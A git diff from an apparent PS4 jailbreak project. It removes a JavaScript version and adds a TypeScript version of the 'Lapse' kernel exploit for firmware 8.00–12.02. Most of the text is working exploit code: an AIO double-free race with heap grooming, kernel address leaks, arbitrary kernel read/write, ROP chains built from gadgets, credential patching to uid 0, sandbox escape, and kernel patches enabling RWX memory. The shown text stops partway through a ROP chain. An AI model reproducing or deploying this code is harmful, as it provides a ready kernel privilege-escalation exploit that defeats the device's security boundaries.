'syscall_jmp3', size: 2 }, - { off: 0x3914e6, exp: 0xeb, name: 'setuid', size: 1 }, - { off: 0x2fc0ec, exp: 0x04eb, name: 'vm_map_protect', size: 2 }, - { off: 0x1b7164, exp: 0xe990, name: 'dynlib_load_prx', size: 2 }, - { off: 0x1fa71a, exp: 0x37, name: 'mmap_rwx1', size: 1 }, - { off: 0x1fa71d, exp: 0x37, name: 'mmap_rwx2', size: 1 }, - { off: 0x1102d80, exp: 0x02, name: 'sysent11_narg', size: 4 }, - { off: 0x1102dac, exp: 0x01, name: 'sysent11_thrcnt', size: 4 }, - ] - - for (p of patches_to_verify) { - var actual - if (p.size === 1) { - actual = Number(kernel.read_byte(kernel.addr.base.add(p.off))) - } else if (p.size === 2) { - actual = Number(kernel.read_word(kernel.addr.base.add(p.off))) - } else { - actual = Number(kernel.read_dword(kernel.addr.base.add(p.off))) - } - - if (actual === p.exp) { - log(' [OK] ' + p.name) - } else { - log(' [FAIL] ' + p.name + ': expected ' + hex(p.exp) + ', got ' + hex(actual)) - patch_errors++ - } - } - - // Special check for sysent[11] sy_call - should point to jmp [rsi] gadget - const sysent11_call = kernel.read_qword(kernel.addr.base.add(0x1102d88)) - const expected_gadget = kernel.addr.base.add(0x47b31) - if (sysent11_call.eq(expected_gadget)) { - log(' [OK] sysent11_call -> jmp_rsi @ ' + hex(sysent11_call)) - } else { - log(' [FAIL] sysent11_call: expected ' + hex(expected_gadget) + ', got ' + hex(sysent11_call)) - patch_errors++ - } - - if (patch_errors === 0) { - log('All 12.00 kernel patches verified OK!') - } else { - log('[WARNING] ' + patch_errors + ' kernel patches failed!') - } - } - - // Restore original sysent[661] - log('Restoring sysent[661]...') - kernel.write_dword(sysent_661_addr, sy_narg) - kernel.write_qword(sysent_661_addr.add(8), sy_call) - kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) - log('Restored sysent[661]') - - log('Kernel patches applied!') - - return true - } catch (e) { - log('apply_kernel_patches error: ' + e.message) - log(e.stack) - return false - } -} - -// End - -function lapse () { - try { - log('=== PS4 Lapse Jailbreak ===') - - FW_VERSION = get_fwversion() - log('Detected PS4 firmware: ' + FW_VERSION) - - function compare_version (a, b) { - const a_arr = a.split('.') - const amaj = a_arr[0] - const amin = a_arr[1] - const b_arr = b.split('.') - const bmaj = b_arr[0] - const bmin = b_arr[1] - return amaj === bmaj ? amin - bmin : amaj - bmaj - } - - if (compare_version(FW_VERSION, '8.00') < 0 || compare_version(FW_VERSION, '12.02') > 0) { - log('Unsupported PS4 firmware\nSupported: 8.00-12.02\nAborting...') - send_notification('Unsupported PS4 firmware\nAborting...') - return false - } - - kernel_offset = get_kernel_offset(FW_VERSION) - log('Kernel offsets loaded for FW ' + FW_VERSION) - - // === STAGE 0: Setup === - log('=== STAGE 0: Setup ===') - - const setup_success = setup() - if (!setup_success) { - log('Setup failed') - send_notification('Lapse: Setup failed') - return false - } - log('Setup completed') - - log('') - log('=== STAGE 1: Double-free AIO ===') - - const sd_pair = double_free_reqs2() - - if (sd_pair === null) { - log('[FAILED] Stage 1') - send_notification('Lapse: FAILED at Stage 1') - return false - } - log('Stage 1 completed') - - log('') - log('=== STAGE 2: Leak kernel addresses ===') - leak_result = leak_kernel_addrs(sd_pair, sds) - if (leak_result === null) { - log('Stage 2 kernel address leak failed') - cleanup_fail() - return false - } - log('Stage 2 completed') - log('Leaked addresses:') - log(' reqs1_addr: ' + hex(leak_result.reqs1_addr)) - log(' kbuf_addr: ' + hex(leak_result.kbuf_addr)) - log(' kernel_addr: ' + hex(leak_result.kernel_addr)) - log(' target_id: ' + hex(leak_result.target_id)) - log(' fake_reqs3_addr: ' + hex(leak_result.fake_reqs3_addr)) - log(' aio_info_addr: ' + hex(leak_result.aio_info_addr)) - log(' evf: ' + hex(leak_result.evf)) - - log('') - log('=== STAGE 3: Double free SceKernelAioRWRequest ===') - const pktopts_sds = double_free_reqs1( - leak_result.reqs1_addr, - leak_result.target_id, - leak_result.evf, - sd_pair[0], - sds, - sds_alt, - leak_result.fake_reqs3_addr - ) - - close(leak_result.fake_reqs3_sd) - - if (pktopts_sds === null) { - log('Stage 3 double free SceKernelAioRWRequest failed') - cleanup_fail() - return false - } - - log('Stage 3 completed!') - log('Aliased socket pair: ' + hex(pktopts_sds[0]) + ', ' + hex(pktopts_sds[1])) - - log('') - log('=== STAGE 4: Get arbitrary kernel read/write ===') - - arw_result = make_kernel_arw( - pktopts_sds, - leak_result.reqs1_addr, - leak_result.kernel_addr, - sds, - sds_alt, - leak_result.aio_info_addr - ) - - if (arw_result === null) { - log('Stage 4 get arbitrary kernel read/write failed') - cleanup_fail() - return false - } - - log('Stage 4 completed!') - - log('') - log('=== STAGE 5: Jailbreak ===') - - const OFFSET_P_UCRED = 0x40 - const proc = kernel.addr.curproc - - // Calculate kernel base - kernel.addr.base = kernel.addr.inside_kdata.sub(kernel_offset.EVF_OFFSET) - log('Kernel base: ' + hex(kernel.addr.base)) - - const uid_before = Number(getuid()) - const sandbox_before = Number(is_in_sandbox()) - log('BEFORE: uid=' + uid_before + ', sandbox=' + sandbox_before) - - // Patch ucred - const proc_fd = kernel.read_qword(proc.add(kernel_offset.PROC_FD)) - const ucred = kernel.read_qword(proc.add(OFFSET_P_UCRED)) - - kernel.write_dword(ucred.add(0x04), 0) // cr_uid - kernel.write_dword(ucred.add(0x08), 0) // cr_ruid - kernel.write_dword(ucred.add(0x0C), 0) // cr_svuid - kernel.write_dword(ucred.add(0x10), 1) // cr_ngroups - kernel.write_dword(ucred.add(0x14), 0) // cr_rgid - - const prison0 = kernel.read_qword(kernel.addr.base.add(kernel_offset.PRISON0)) - kernel.write_qword(ucred.add(0x30), prison0) - - kernel.write_qword(ucred.add(0x60), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) // sceCaps - kernel.write_qword(ucred.add(0x68), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) - - const rootvnode = kernel.read_qword(kernel.addr.base.add(kernel_offset.ROOTVNODE)) - kernel.write_qword(proc_fd.add(0x10), rootvnode) // fd_rdir - kernel.write_qword(proc_fd.add(0x18), rootvnode) // fd_jdir - - const uid_after = Number(getuid()) - const sandbox_after = Number(is_in_sandbox()) - log('AFTER: uid=' + uid_after + ', sandbox=' + sandbox_after) - - if (uid_after === 0 && sandbox_after === 0) { - log('Sandbox escape complete!') - } else { - log('[WARNING] Sandbox escape may have failed') - } - - // === Apply kernel patches via kexec === - // Uses syscall_raw() which sets rax manually for syscalls without gadgets - log('Applying kernel patches...') - const kpatch_result = apply_kernel_patches(FW_VERSION) - if (kpatch_result) { - log('Kernel patches applied successfully!') - - // Comprehensive kernel patch verification - log('Verifying kernel patches...') - var all_patches_ok = true - - // 1. Verify mmap RWX patch (0x33 -> 0x37 at two locations) - const mmap_offsets = get_mmap_patch_offsets(FW_VERSION) - if (mmap_offsets) { - const b1 = ipv6_kernel_rw.ipv6_kread8(kernel.addr.base.add(mmap_offsets[0])) - const b2 = ipv6_kernel_rw.ipv6_kread8(kernel.addr.base.add(mmap_offsets[1])) - const byte1 = Number(b1.and(0xff)) - const byte2 = Number(b2.and(0xff)) - if (byte1 === 0x37 && byte2 === 0x37) { - log(' [OK] mmap RWX patch') - } else { - log(' [FAIL] mmap RWX: [' + hex(mmap_offsets[0]) + ']=' + hex(byte1) + ' [' + hex(mmap_offsets[1]) + ']=' + hex(byte2)) - all_patches_ok = false - } - } else { - log(' [SKIP] mmap RWX (no offsets for FW ' + FW_VERSION + ')') - } - - // 2. Test mmap RWX actually works by trying to allocate RWX memory - try { - const PROT_RWX = 0x7 // READ | WRITE | EXEC - const MAP_ANON = 0x1000 - const MAP_PRIVATE = 0x2 - const test_addr = mmap(0, 0x1000, PROT_RWX, MAP_PRIVATE | MAP_ANON, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0) - if (Number(test_addr.shr(32)) < 0xffff8000) { - log(' [OK] mmap RWX functional @ ' + hex(test_addr)) - // Unmap the test allocation - munmap(test_addr, 0x1000) - } else { - log(' [FAIL] mmap RWX functional: ' + hex(test_addr)) - all_patches_ok = false - } - } catch (e) { - log(' [FAIL] mmap RWX test error: ' + e.message) - all_patches_ok = false - } - - if (all_patches_ok) { - log('All kernel patches verified OK!') - } else { - log('[WARNING] Some kernel patches may have failed') - } - } else { - log('[WARNING] Kernel patches failed - continuing without patches') - } - - log('Stage 5 completed - JAILBROKEN') - // utils.notify("The Vue-after-Free team congratulates you\nLapse Finished OK\nEnjoy freedom"); - - cleanup() - - return true - } catch (e) { - log('Lapse error: ' + e.message) - alert('Lapse error: ' + e.message) - utils.notify('Reboot and try again!') - log(e.stack) - return false - } -} - -function cleanup () { - log('Performing cleanup...') - - try { - if (block_fd !== 0xffffffff) { - close(block_fd) - block_fd = 0xffffffff - } - - if (unblock_fd !== 0xffffffff) { - close(unblock_fd) - unblock_fd = 0xffffffff - } - - if (typeof groom_ids !== 'undefined') { - if (groom_ids !== null) { - const groom_ids_addr = malloc(4 * NUM_GROOMS) - for (var i = 0; i < NUM_GROOMS; i++) { - write32(groom_ids_addr.add(i * 4), groom_ids[i]) - } - free_aios2(groom_ids_addr, NUM_GROOMS) - groom_ids = null - } - } - - if (block_id !== 0xffffffff) { - const block_id_buf = malloc(4) - write32(block_id_buf, block_id) - const block_errors = malloc(4) - aio_multi_wait_fun(block_id_buf, 1, block_errors, 1, 0) - aio_multi_delete_fun(block_id_buf, 1, block_errors) - block_id = 0xffffffff - } - - if (sds !== null) { - for (var i = 0; i < sds.length; i++) { - close(sds[i]) - } - sds = null - } - - if (sds_alt !== null) { - for (var i = 0; i < sds_alt.length; i++) { - close(sds_alt[i]) - } - sds_alt = null - } - - if (typeof sd_pair !== 'undefined') { - if (sd_pair !== null) { - close(sd_pair[0]) - close(sd_pair[1]) - } - sd_pair = null - } - - if (prev_core >= 0) { - log('Restoring to previous core: ' + prev_core) - pin_to_core(prev_core) - prev_core = -1 - } - - set_rtprio(prev_rtprio) - - log('Cleanup completed') - } catch (e) { - log('Error during cleanup: ' + e.message) - } -} - -function cleanup_fail () { - utils.notify('Lapse Failed! reboot and try again! UwU') - jsmaf.root.children.push(bg_fail) - cleanup() -} diff --git a/src/download0/lapse.ts b/src/download0/lapse.ts new file mode 100644 index 0000000..baa8d0e --- /dev/null +++ b/src/download0/lapse.ts @@ -0,0 +1,2148 @@ +import { fn, BigInt, syscalls, gadgets, mem, rop, utils } from 'download0/types' +import { kernel, apply_kernel_patches, hex, malloc, read16, read32, read64, read8, write16, write32, write64, write8, get_fwversion, send_notification, get_kernel_offset, get_mmap_patch_offsets } from 'download0/kernel' +import { libc_addr } from 'download0/userland' + +include('kernel.js') + +if (!String.prototype.padStart) { + String.prototype.padStart = function padStart (targetLength, padString) { + targetLength = targetLength >> 0 // truncate if number or convert non-number to 0 + padString = String(typeof padString !== 'undefined' ? padString : ' ') + if (this.length > targetLength) { + return String(this) + } else { + targetLength = targetLength - this.length + if (targetLength > padString.length) { + padString += padString.repeat(targetLength / padString.length) // append to original to ensure we are longer than needed + } + return padString.slice(0, targetLength) + String(this) + } + } +} + +let FW_VERSION: string | null = null + +const PAGE_SIZE = 0x4000 + +const MAIN_CORE = 4 +const MAIN_RTPRIO = 0x100 +const NUM_WORKERS = 2 +const NUM_GROOMS = 0x200 +const NUM_HANDLES = 0x100 +const NUM_SDS = 64 +const NUM_SDS_ALT = 48 +const NUM_RACES = 100 +const NUM_ALIAS = 100 +const LEAK_LEN = 16 +const NUM_LEAKS = 32 +const NUM_CLOBBERS = 8 +const MAX_AIO_IDS = 0x80 + +const AIO_CMD_READ = 1 +const AIO_CMD_FLAG_MULTI = 0x1000 +const AIO_CMD_MULTI_READ = 0x1001 +const AIO_CMD_WRITE = 2 +const AIO_STATE_COMPLETE = 3 +const AIO_STATE_ABORTED = 4 + +const SCE_KERNEL_ERROR_ESRCH = 0x80020003 + +const RTP_LOOKUP = 0 +const RTP_SET = 1 +const PRI_REALTIME = 2 + +let block_fd = 0xffffffff +let unblock_fd = 0xffffffff +let block_id = 0xffffffff +let groom_ids: number[] | null = null +let sds: [BigInt, BigInt] | null = null +let sds_alt: [BigInt, BigInt] | null = null +let prev_core = -1 +let prev_rtprio = 0 +let ready_signal = new BigInt(0) +let deletion_signal = new BigInt(0) +let pipe_buf = new BigInt(0) +let sd_pair: [BigInt, BigInt] | null = null + +let saved_fpu_ctrl = 0 +let saved_mxcsr = 0 + +// Socket constants - only define if not already in scope +// (inject.js defines some of these as const in the eval scope) +const AF_UNIX = 1 +const AF_INET = 2 +const AF_INET6 = 28 + +const SOCK_STREAM = 1 +const SOCK_DGRAM = 2 + +const IPPROTO_TCP = 6 +const IPPROTO_UDP = 17 +const IPPROTO_IPV6 = 41 + +const SOL_SOCKET = 0xFFFF +const SO_REUSEADDR = 4 +const SO_LINGER = 0x80 + +// IPv6 socket options +const IPV6_PKTINFO = 46 +const IPV6_NEXTHOP = 48 +const IPV6_RTHDR = 51 +const IPV6_TCLASS = 61 +const IPV6_2292PKTOPTIONS = 25 + +// TCP socket options +const TCP_INFO = 32 +const TCPS_ESTABLISHED = 4 +const size_tcp_info = 0xec /* struct tcp_info */ + +// Create shorthand references +fn.register(42, 'pipe', ['bigint'], 'bigint') +const pipe = fn.pipe +fn.register(20, 'getpid', [], 'bigint') +const getpid = fn.getpid +fn.register(0x18, 'getuid', [], 'bigint') +const getuid = fn.getuid +fn.register(98, 'connect', ['bigint', 'bigint', 'number'], 'bigint') +const connect = fn.connect +fn.register(0x49, 'munmap', ['bigint', 'number'], 'bigint') +const munmap = fn.munmap +fn.register(0x76, 'getsockopt', ['bigint', 'number', 'number', 'bigint', 'bigint'], 'bigint') +const getsockopt = fn.getsockopt +fn.register(0x87, 'socketpair', ['number', 'number', 'number', 'bigint'], 'bigint') +const socketpair = fn.socketpair +fn.register(0xF0, 'nanosleep', ['bigint'], 'bigint') +const nanosleep = fn.nanosleep +fn.register(0x1C7, 'thr_new', ['bigint', 'bigint'], 'bigint') +const thr_new = fn.thr_new +fn.register(0x1D2, 'rtprio_thread', ['number', 'number', 'bigint'], 'bigint') +const rtprio_thread = fn.rtprio_thread +fn.register(477, 'mmap', ['bigint', 'number', 'number', 'number', 'bigint', 'number'], 'bigint') +const mmap = fn.mmap +fn.register(0x1E7, 'cpuset_getaffinity', ['number', 'number', 'bigint', 'number', 'bigint'], 'bigint') +const cpuset_getaffinity = fn.cpuset_getaffinity +fn.register(0x1E8, 'cpuset_setaffinity', ['number', 'number', 'bigint', 'number', 'bigint'], 'bigint') +const cpuset_setaffinity = fn.cpuset_setaffinity + +fn.register(0x21A, 'evf_create', ['bigint', 'number', 'number'], 'bigint') +const evf_create = fn.evf_create +fn.register(0x220, 'evf_set', ['bigint', 'number'], 'bigint') +const evf_set = fn.evf_set +fn.register(0x221, 'evf_clear', ['bigint', 'number'], 'bigint') +const evf_clear = fn.evf_clear +fn.register(0x21b, 'evf_delete', ['bigint'], 'bigint') +const evf_delete = fn.evf_delete + +fn.register(0x249, 'is_in_sandbox', [], 'bigint') +const is_in_sandbox = fn.is_in_sandbox +fn.register(0x279, 'thr_resume_ucontext', ['bigint'], 'bigint') +const thr_resume_ucontext = fn.thr_resume_ucontext + +fn.register(0x296, 'aio_multi_delete', ['bigint', 'number', 'bigint'], 'bigint') +const aio_multi_delete = fn.aio_multi_delete +fn.register(0x297, 'aio_multi_wait', ['bigint', 'number', 'bigint', 'number', 'number'], 'bigint') +const aio_multi_wait = fn.aio_multi_wait +fn.register(0x298, 'aio_multi_poll', ['bigint', 'number', 'bigint'], 'bigint') +const aio_multi_poll = fn.aio_multi_poll +fn.register(0x29A, 'aio_multi_cancel', ['bigint', 'number', 'bigint'], 'bigint') +const aio_multi_cancel = fn.aio_multi_cancel +fn.register(0x29D, 'aio_submit_cmd', ['number', 'bigint', 'number', 'number', 'bigint'], 'bigint') +const aio_submit_cmd = fn.aio_submit_cmd + +fn.register(0x61, 'socket', ['number', 'number', 'number'], 'bigint') +const socket = fn.socket +fn.register(0x69, 'setsockopt', ['bigint', 'number', 'number', 'bigint', 'number'], 'bigint') +const setsockopt = fn.setsockopt +fn.register(0x68, 'bind', ['bigint', 'bigint', 'number'], 'bigint') +const bind = fn.bind +fn.register(0x3, 'read', ['bigint', 'bigint', 'bigint'], 'bigint') +const read = fn.read +fn.register(0x4, 'write', ['bigint', 'bigint', 'bigint'], 'bigint') +const write = fn.write +fn.register(0x6, 'close', ['bigint'], 'bigint') +const close = fn.close +fn.register(0x1e, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint') +const accept = fn.accept +fn.register(0x6a, 'listen', ['bigint', 'number'], 'bigint') +const listen = fn.listen +fn.register(0x20, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint') +const getsockname = fn.getsockname + +fn.register(libc_addr.add(0x6CA00), 'setjmp', ['bigint'], 'bigint') +const setjmp = fn.setjmp +const longjmp_addr = libc_addr.add(0x6CA50) + +// Extract syscall wrapper addresses for ROP chains from syscalls.map +const read_wrapper = syscalls.map.get(0x03) +const write_wrapper = syscalls.map.get(0x04) +const sched_yield_wrapper = syscalls.map.get(0x14b) +const thr_suspend_ucontext_wrapper = syscalls.map.get(0x278) +const cpuset_setaffinity_wrapper = syscalls.map.get(0x1e8) +const rtprio_thread_wrapper = syscalls.map.get(0x1D2) +const aio_multi_delete_wrapper = syscalls.map.get(0x296) +const thr_exit_wrapper = syscalls.map.get(0x1af) + +const BigInt_Error = new BigInt(0xFFFFFFFF, 0xFFFFFFFF) + +function init_threading () { + const jmpbuf = malloc(0x60) + setjmp(jmpbuf) + saved_fpu_ctrl = Number(read32(jmpbuf.add(0x40))) + saved_mxcsr = Number(read32(jmpbuf.add(0x44))) +} + +function pin_to_core (core: number) { + const mask = malloc(0x10) + write32(mask, 1 << core) + cpuset_setaffinity(3, 1, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0x10, mask) +} + +function get_core_index (mask_addr: BigInt) { + let num = read32(mask_addr) + let position = 0 + while (num > 0) { + num = num >>> 1 + position++ + } + return position - 1 +} + +function get_current_core () { + const mask = malloc(0x10) + cpuset_getaffinity(3, 1, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0x10, mask) + return get_core_index(mask) +} + +function set_rtprio (prio: number) { + const rtprio = malloc(0x4) + write16(rtprio, PRI_REALTIME) + write16(rtprio.add(2), prio) + rtprio_thread(RTP_SET, 0, rtprio) +} + +function get_rtprio () { + const rtprio = malloc(0x4) + write16(rtprio, PRI_REALTIME) + write16(rtprio.add(2), 0) + rtprio_thread(RTP_LOOKUP, 0, rtprio) + return Number(read16(rtprio.add(2))) +} + +function aio_submit_cmd_fun (cmd: number, reqs: BigInt, num_reqs: number, priority: number, ids: BigInt) { + const result = aio_submit_cmd(cmd, reqs, num_reqs, priority, ids) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('aio_submit_cmd error: ' + hex(result)) + } + return result +} + +function aio_multi_cancel_fun (ids: BigInt, num_ids: number, states: BigInt) { + const result = aio_multi_cancel(ids, num_ids, states) + if (result.eq(BigInt_Error)) { + throw new Error('aio_multi_cancel error: ' + hex(result)) + } + return result +} + +function aio_multi_poll_fun (ids: BigInt, num_ids: number, states: BigInt) { + const result = aio_multi_poll(ids, num_ids, states) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('aio_multi_poll error: ' + hex(result)) + } + return result +} + +function aio_multi_wait_fun (ids: BigInt, num_ids: number, states: BigInt, mode: number, timeout: number) { + const result = aio_multi_wait(ids, num_ids, states, mode, timeout) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('aio_multi_wait error: ' + hex(result)) + } + return result +} + +function aio_multi_delete_fun (ids: BigInt, num_ids: number, states: BigInt) { + const result = aio_multi_delete(ids, num_ids, states) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('aio_multi_delete error: ' + hex(result)) + } + return result +} + +function make_reqs1 (num_reqs: number) { + const reqs = malloc(0x28 * num_reqs) + for (let i = 0; i < num_reqs; i++) { + write32(reqs.add(i * 0x28 + 0x20), 0xFFFFFFFF) + } + return reqs +} + +function spray_aio (loops: number, reqs: BigInt, num_reqs: number, ids: BigInt, multi: boolean, cmd: number = AIO_CMD_READ) { + loops = loops || 1 + if (multi === undefined) multi = true + + const step = 4 * (multi ? num_reqs : 1) + const final_cmd = cmd | (multi ? AIO_CMD_FLAG_MULTI : 0) + + for (let i = 0; i < loops; i++) { + aio_submit_cmd_fun(final_cmd, reqs, num_reqs, 3, new BigInt(Number(ids) + (i * step))) + } +} + +function cancel_aios (ids: BigInt, num_ids: number) { + const len = MAX_AIO_IDS + const rem = num_ids % len + const num_batches = Math.floor((num_ids - rem) / len) + + const errors = malloc(4 * len) + + for (let i = 0; i < num_batches; i++) { + aio_multi_cancel_fun(new BigInt(Number(ids) + (i * 4 * len)), len, errors) + } + + if (rem > 0) { + aio_multi_cancel_fun(new BigInt(Number(ids) + (num_batches * 4 * len)), rem, errors) + } +} + +function free_aios (ids: BigInt, num_ids: number, do_cancel: boolean = true) { + const len = MAX_AIO_IDS + const rem = num_ids % len + const num_batches = Math.floor((num_ids - rem) / len) + + const errors = malloc(4 * len) + + for (let i = 0; i < num_batches; i++) { + const addr = new BigInt(Number(ids) + i * 4 * len) + if (do_cancel) { + aio_multi_cancel_fun(addr, len, errors) + } + aio_multi_poll_fun(addr, len, errors) + aio_multi_delete_fun(addr, len, errors) + } + + if (rem > 0) { + const addr = new BigInt(Number(ids) + (num_batches * 4 * len)) + if (do_cancel) { + aio_multi_cancel_fun(addr, rem, errors) + } + aio_multi_poll_fun(addr, rem, errors) + aio_multi_delete_fun(addr, rem, errors) + } +} + +function free_aios2 (ids: BigInt, num_ids: number) { + free_aios(ids, num_ids, false) +} + +function aton (ip_str: string) { + const parts = ip_str.split('.').map(Number) + if (parts.length !== 4 || parts.some(part => isNaN(part) || part < 0 || part > 255)) { + throw new Error('Invalid IPv4 address: ' + ip_str) + } + return (parts[3]! << 24) | (parts[2]! << 16) | (parts[1]! << 8) | parts[0]! +} + +function new_tcp_socket () { + const sd = socket(AF_INET, SOCK_STREAM, 0) + if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('new_tcp_socket error: ' + hex(sd)) + } + return sd +} + +function new_socket () { + const sd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) + if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('new_socket error: ' + hex(sd)) + } + return sd +} + +function create_pipe () { + const fildes = malloc(0x10) + const result = pipe(fildes) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('pipe syscall failed') + } + const read_fd = new BigInt(read32(fildes)) // easier to have BigInt for upcoming usage + const write_fd = new BigInt(read32(fildes.add(4))) // easier to have BigInt for upcoming usage + return [read_fd, write_fd] +} + +function spawn_thread (rop_race1_array: BigInt[]) { + const rop_race1_addr = malloc(0x400) // ROP Stack plus extra size + // log("This is rop_race1_array.length " + rop_race1_array.length); + // Fill ROP Stack + for (let i = 0; i < rop_race1_array.length; i++) { + write64(rop_race1_addr.add(i * 8), rop_race1_array[i]!) + // log("This is what I wrote: " + hex(read64(rop_race1_addr.add(i*8)))); + } + + const jmpbuf = malloc(0x60) + + // FreeBSD amd64 jmp_buf layout: + // 0x00: RIP, 0x08: RBX, 0x10: RSP, 0x18: RBP, 0x20-0x38: R12-R15, 0x40: FPU, 0x44: MXCSR + write64(jmpbuf.add(0x00), gadgets.RET) // RIP - ret gadget + write64(jmpbuf.add(0x10), rop_race1_addr) // RSP - pivot to ROP chain + write32(jmpbuf.add(0x40), saved_fpu_ctrl) // FPU control + write32(jmpbuf.add(0x44), saved_mxcsr) // MXCSR + + const stack_size = new BigInt(0x400) + const tls_size = new BigInt(0x40) + + const thr_new_args = malloc(0x80) + const tid_addr = malloc(0x8) + const cpid = malloc(0x8) + const stack = malloc(Number(stack_size)) + const tls = malloc(Number(tls_size)) + + write64(thr_new_args.add(0x00), longjmp_addr) // start_func = longjmp + write64(thr_new_args.add(0x08), jmpbuf) // arg = jmpbuf + write64(thr_new_args.add(0x10), stack) // stack_base + write64(thr_new_args.add(0x18), stack_size) // stack_size + write64(thr_new_args.add(0x20), tls) // tls_base + write64(thr_new_args.add(0x28), tls_size) // tls_size + write64(thr_new_args.add(0x30), tid_addr) // child_tid (output) + write64(thr_new_args.add(0x38), cpid) // parent_tid (output) + + const result = thr_new(thr_new_args, new BigInt(0x68)) + if (!result.eq(0)) { + throw new Error('thr_new failed: ' + hex(result)) + } + + return read64(tid_addr) +} + +function nanosleep_fun (nsec: number) { + const timespec = malloc(0x10) + write64(timespec, Math.floor(nsec / 1e9)) // tv_sec + write64(timespec.add(8), nsec % 1e9) // tv_nsec + nanosleep(timespec) +} + +function wait_for (addr: BigInt, threshold: number) { + while (!read64(addr).eq(new BigInt(threshold))) { + nanosleep_fun(1) + } +} + +function call_suspend_chain (pipe_write_fd: BigInt, pipe_buf: BigInt, thr_tid: BigInt) { + const insts = [] + + if (!sched_yield_wrapper || !thr_suspend_ucontext_wrapper || !write_wrapper) { + throw new Error('Required syscall wrappers not available for ROP chain') + } + + // write(pipe_write_fd, pipe_buf, 1) - using per-syscall gadget + insts.push(gadgets.POP_RDI_RET) + insts.push(pipe_write_fd) + insts.push(gadgets.POP_RSI_RET) + insts.push(pipe_buf) + insts.push(gadgets.POP_RDX_RET) + insts.push(new BigInt(1)) + insts.push(write_wrapper) + + // sched_yield() - using per-syscall gadget + insts.push(sched_yield_wrapper) + + // thr_suspend_ucontext(thr_tid) - using per-syscall gadget + insts.push(gadgets.POP_RDI_RET) // pop rdi ; ret + insts.push(thr_tid) + insts.push(thr_suspend_ucontext_wrapper) + + // return value in rax is stored by rop.store() + + const store_size = 0x10 // 2 slots 1 for RBP and another for last syscall ret value + const store_addr = mem.malloc(store_size) + + rop.store(insts, store_addr, 1) + + rop.execute(insts, store_addr, store_size) + + return read64(store_addr.add(8)) // return value for 2nd slot +} + +function race_one (req_addr: BigInt, tcp_sd: BigInt, sds: BigInt[]): [BigInt, BigInt] | null { + try { + if (!cpuset_setaffinity_wrapper || !rtprio_thread_wrapper || !read_wrapper || !aio_multi_delete_wrapper || !thr_exit_wrapper) { + throw new Error('Required syscall wrappers not available for ROP chain') + } + + // log("this is ready_signal and deletion_signal " + hex(ready_signal) + " " + hex(deletion_signal)); + write64(ready_signal, 0) + write64(deletion_signal, 0) + + const sce_errs = malloc(0x100) // 8 bytes for errs + scratch for TCP_INFO + write32(sce_errs, 0xFFFFFFFF) // -1 + write32(sce_errs.add(4), 0xFFFFFFFF) // -1 + // log("race_one before pipe"); + const pipe_fds = create_pipe() + const pipe_read_fd = pipe_fds[0]! + const pipe_write_fd = pipe_fds[1]! + // const [pipe_read_fd, pipe_write_fd] = create_pipe(); + // log("race_one after pipe"); + + const rop_race1: BigInt[] = [] + + rop_race1.push(new BigInt(0)) // first element overwritten by longjmp, skip it + + const cpu_mask = malloc(0x10) + write16(cpu_mask, 1 << MAIN_CORE) + + // Pin to core - cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1, 0x10, mask) + rop_race1.push(gadgets.POP_RDI_RET) + rop_race1.push(new BigInt(3)) // CPU_LEVEL_WHICH + rop_race1.push(gadgets.POP_RSI_RET) + rop_race1.push(new BigInt(1)) // CPU_WHICH_TID + rop_race1.push(gadgets.POP_RDX_RET) + rop_race1.push(new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) // id = -1 (current thread) + rop_race1.push(gadgets.POP_RCX_RET) + rop_race1.push(new BigInt(0x10)) // setsize + rop_race1.push(gadgets.POP_R8_RET) + rop_race1.push(cpu_mask) + rop_race1.push(cpuset_setaffinity_wrapper) + + const rtprio_buf = malloc(4) + write16(rtprio_buf, PRI_REALTIME) + write16(rtprio_buf.add(2), MAIN_RTPRIO) + + // Set priority - rtprio_thread(RTP_SET, 0, rtprio_buf) + rop_race1.push(gadgets.POP_RDI_RET) + rop_race1.push(new BigInt(1)) // RTP_SET + rop_race1.push(gadgets.POP_RSI_RET) + rop_race1.push(new BigInt(0)) // lwpid = 0 (current thread) + rop_race1.push(gadgets.POP_RDX_RET) + rop_race1.push(rtprio_buf) + rop_race1.push(rtprio_thread_wrapper) + + // Signal ready - write 1 to ready_signal + rop_race1.push(gadgets.POP_RDI_RET) + rop_race1.push(ready_signal) + rop_race1.push(gadgets.POP_RAX_RET) + rop_race1.push(new BigInt(1)) + rop_race1.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) + + // Read from pipe (blocks here) - read(pipe_read_fd, pipe_buf, 1) + rop_race1.push(gadgets.POP_RDI_RET) + rop_race1.push(pipe_read_fd) + rop_race1.push(gadgets.POP_RSI_RET) + rop_race1.push(pipe_buf) + rop_race1.push(gadgets.POP_RDX_RET) + rop_race1.push(new BigInt(1)) + rop_race1.push(read_wrapper) + + // aio multi delete - aio_multi_delete(req_addr, 1, sce_errs + 4) + rop_race1.push(gadgets.POP_RDI_RET) + rop_race1.push(req_addr) + rop_race1.push(gadgets.POP_RSI_RET) + rop_race1.push(new BigInt(1)) + rop_race1.push(gadgets.POP_RDX_RET) + rop_race1.push(sce_errs.add(4)) + rop_race1.push(aio_multi_delete_wrapper) + + // Signal deletion - write 1 to deletion_signal + rop_race1.push(gadgets.POP_RDI_RET) // pop rdi ; ret + rop_race1.push(deletion_signal) + rop_race1.push(gadgets.POP_RAX_RET) + rop_race1.push(new BigInt(1)) + 